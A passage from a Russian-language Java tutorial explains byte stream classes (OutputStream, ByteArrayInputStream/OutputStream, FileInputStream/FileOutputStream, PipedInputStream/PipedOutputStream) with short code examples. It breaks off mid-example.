Метод write(int) является абстрактным, и должен быть реализован в классах - наследниках. Этот метод принимает в качестве параметра int, но реально записывает в поток только byte - младшие 8 бит в двоичном представлении. Остальные 24 бита будут проигнорированы. В случае возникновения ошибки этот метод кидает java.io.IOException, как, впрочем, и большинство методов, связанных с вводом-выводом.

Для записи в поток сразу некоторого количества байт, методу write() передается массив байт. Или, если мы хотим записать только часть массива - то передаем массив byte[], и два int-числа - отступ и количество байт для записи. Понятно, что если указать неверные параметры - например отрицательный отступ, отрицательное количество байт для записи, либо если сумма отступ+длина будет больше длины массива - во всех этих случаях кидается исключение IndexOutOfBoundsException.

Реализация потока может быть таковой, что данные записываются не сразу, а хранятся некоторое время в памяти. Например, мы хотим записать в файл какие-то данные, которые мы получаем порциями по 10 байт, и так 200 раз подряд. В таком случае вместо 200 обращений к файлу удобней будет скопить все эти данные в памяти, а потом одним заходом записать все 2000 байт. То есть класс выходного потока может использовать некоторый свой внутренний механизм для буферизации (временного хранения перед отправкой) данных. Что бы убедиться, что данные записаны в поток, а не хранятся в буфере, вызывается метод flush(), определенный в OutputStream. В этом классе его реализация пустая, но если какой-либо из наследников использует буферизацию данных, то этот метод должен быть в нем переопределен.

Когда работа с потоком закончена, его следует закрыть. Для этого вызывается метод close(). Этот метод сначала освобождает буфер, после чего поток закрывается, и освобождаются все системные ресурсы с ним связанные. Закрытый поток не может выполнять операции вывода и не может быть открыт заново. В классе OutputStream реализация метода close() не производит никаких действий.

Итак, классы InputStream и OutputStream определяют необходимые методы для работы с байтовыми потоками данных. Эти классы являются абстрактными. Их задача - определить общий интерфейс для классов, которые получают данные из различных источников. Такими источниками могут быть, например, массив байт, файл, строка и т.д. Все они, или, по крайней мере, наиболее широко используемые, будут рассмотрены далее.

Самый естественный и простой источник, откуда можно считывать байты - это, конечно, массив байт. Класс ByteArrayInputStream представляет поток, считывающий данные из массива байт. Этот класс имеет конструктор, которому в качестве параметра передается массив byte[]. Соответственно, при вызове методов read(), возвращаемые данные будут браться именно из этого массива. Например:

byte[] bytes = {1,-1,0};

ByteArrayInputStream in = new ByteArrayInputStream(bytes);

int readedInt = in.read(); // readedInt=1

System.out.println("first element read is: " +readedInt);

readedInt = in.read(); // readedInt=255. Однако (byte)readedInt даст значение -1

System.out.println("second element read is: " +readedInt);

readedInt = in.read(); // readedInt=0

System.out.println("third element read is: " +readedInt);

Если запустить такую программу, на экране отобразится следующее:

first element read is: 1 second element read is: 255 third element read is: 0

При вызове метода read() данные считывались из массива bytes, переданного в конструктор ByteArrayInputStream. В данном примере второе считанное значение не равно -1, как можно было бы ожидать. Вместо этого оно равно 255. Что бы понять, почему это произошло, нужно вспомнить, что метод read считывает byte, но возвращает значение int - полученное добавлением необходимого числа нулей (в двоичном представлении). Байт, равный -1 в двоичном представлении имеет вид 11111111 и, соответственно, число типа, получаемое приставкой 24-х нулей, равно 255(в десятичной системе). Однако если непосредственно привести его к byte, получим исходное значение.

Аналогично, для записи байт в массив, используется класс ByteArrayOutputStream. Этот класс использует внутри себя объект byte[], куда записывает данные, передаваемые при вызове методов write(). Что бы получить записанные в массив данные, вызывается метод toByteArray(). Пример: ByteArrayOutputStream out = new ByteArrayOutputStream(); out.write(10); out.write(11); byte[] bytes = out.toByteArray();

В этом примере в результате массив bytes будет состоять из двух элементов: 10 и 11.

Использование классов ByteArrayInputStream и ByteArrayOutputStream может быть очень удобно, когда нужно проверить, что именно записывается в выходной поток. Например, при отладке и тестировании сложных процессов записи и чтения из потоков. Использование этих классов выгодно тем, что можно сразу просмотреть результат, и не нужно создавать ни файл, ни сетевое соединение, ни что-либо еще.

Классы FileInputStream используется для чтения данных из файла. Конструктор этого класса в качестве параметра принимает название файла, из которого будет производиться считывание. При указании строки имени файла нужно учитывать, что именно эта строка и будет передана системе, поэтому формат имени файла и пути к нему может различаться на различных платформах. Если при вызове этого конструктора передать строку, указывающую на директорию либо на не существующий файл, то будет брошено java.io.FileNotFoundException.

Понятно, что если объект успешно создан, то при вызове его методов read(), возвращаемые значения будут считываться из указанного файла.

Для записи байт в файл используется класс FileOutputStream. При создании объектов этого класса, то есть при вызовах его конструкторов кроме указания файла, так же можно указать, будут ли данные дописываться в конец файла либо файл будет перезаписан. При этом, если указанный файл не существует, то сразу после создания FileOutputStream он будет создан. После, при вызовах методов write(), передаваемые значения будут записываться в этот файл. По окончании работы необходимо вызвать метод close(), что бы сообщить системе, что работа по записи файла закончена. Пример:

byte[] bytesToWrite = {1, 2, 3};

byte[] bytesReaded = new byte[10];

String fileName = "d:\\test.txt";

try {

// Создать выходной поток

FileOutputStream outFile = new FileOutputStream(fileName);

System.out.println("Файл открыт для записи");

// Записать массив

outFile.write(bytesToWrite);

System.out.println("Записано: " + bytesToWrite.length + " байт");

// По окончании использования должен быть закрыт

outFile.close();

System.out.println("Выходной поток закрыт");

// Создать входной поток

FileInputStream inFile = new FileInputStream(fileName);

System.out.println("Файл открыт для чтения");

// Узнать, сколько байт готово к считыванию

int bytesAvailable = inFile.available();

System.out.println("Готово к считыванию: " + bytesAvailable + " байт");

// Считать в массив

int count = inFile.read(bytesReaded,0,bytesAvailable);

System.out.println("Считано: " + count + " байт");

inFile.close();

System.out.println("Входной поток закрыт");

} catch (FileNotFoundException e) {

System.out.println("Невозможно произвести запись в файл: " + fileName);

} catch (IOException e) {

System.out.println("Ошибка ввода/вывода: " + e.toString());

}

При работе с FileInputStream метод available() практически наверняка вернет длину файла, то есть число байт, сколько вообще из него можно считать. Но не стоит закладываться на это при написании программ, которые должны устойчиво работать на различных платформах - метод available() возвращает число, сколько байт может быть на данный момент считано без блокирования. Тот, момент, что в подавляющем большинстве случаев это число и будет длиной файла, является всего лишь частным случаем работы на некоторых платформах.

В данном примере для наглядности закрытие потоков производится сразу же после окончания их использования в основном блоке. Однако считается хорошей практикой закрывать потоки в finally блоке.

} finally { try{inFile.close();}catch(IOException e){};}

Такой подход гарантирует, что поток будет закрыт, и будут освобождены все системные ресурсы с ним связанные.

Классы PipedInputStream и PipedOutputStream характерны тем, что их объекты всегда используются в паре - к одному объекту PipedInputStream привязывается точно один объект PipedOutputStream. Эти классы могут быть полезны, если необходимо данные и записать и считать в пределах одного выполнения одной программы.

Используются следующим образом: создается по объекту PipedInputStream и PipedOutputStream, после чего они могут быть соединены между собой. Один объект PipedOutputStream может быть соединен с ровно одним объектом PipedInputStream и наоборот. Соединенный - означает, что если в объект PipedOutputStream записываются данные, то они могут быть считаны именно в соединенном объекте PipedInputStream. Такое соединение можно обеспечить либо вызовом метода connect() с передачей соответствующего объекта PipedStream, либо передать этот объект еще при вызове конструктора.

В следующем примере показано использование связки PipedInputStream и PipedOutputStream.

try {

int countRead = 0;

byte[] toRead = new byte[100];

PipedInputStream pipeIn = new PipedInputStream();

PipedOutputStream pipeOut = new PipedOutputStream(pipeIn);

// Считвать в массив, пока он полностью не будет заполнен

while(countRead<toRead.length){

// Записать в поток некоторое количество байт

for(int i=0; i<(Math.random()*10); i++){

pipeOut.write((byte)(Math.random()*127));

}

// Считать из потока доступные данные,

// добавить их к уже считанным.

int willRead = pipeIn.available();

if(willRead+countRead>toRead.length)

//Нужно считать только до предела массива

willRead = toRead.length-countRead;

countRead += pipeIn.read(toRead, countRead, willRead);

}

} catch (IOException e) {

pr("Impossible IOException occur: ");

e.printStackTrace();

}

Данный пример носит чисто демонстративный характер, так как выгода от использования этих классов в основном проявляется при разработке многопоточного приложения. Так, например, если программа выполняется в нескольких потоках выполнения (поток выполнения - Thread, но перевод на русский язык двух понятий Stream и Thread - совпадает), организовать передачу данных между потоками удобно с помощью объектов классов PipedStream. Для этого достаточно создать связанные объекты классов PipedInputStream и PipedOutputStream, после чего передать их в соответствующие Thread. Тогда поток выполнения, где производится считывание из потока может содержать подобный код:

// inStream - объект класса PipedInputStream

try{

while(true){

byte[] readedBytes = null;

synchronized(inStream){

...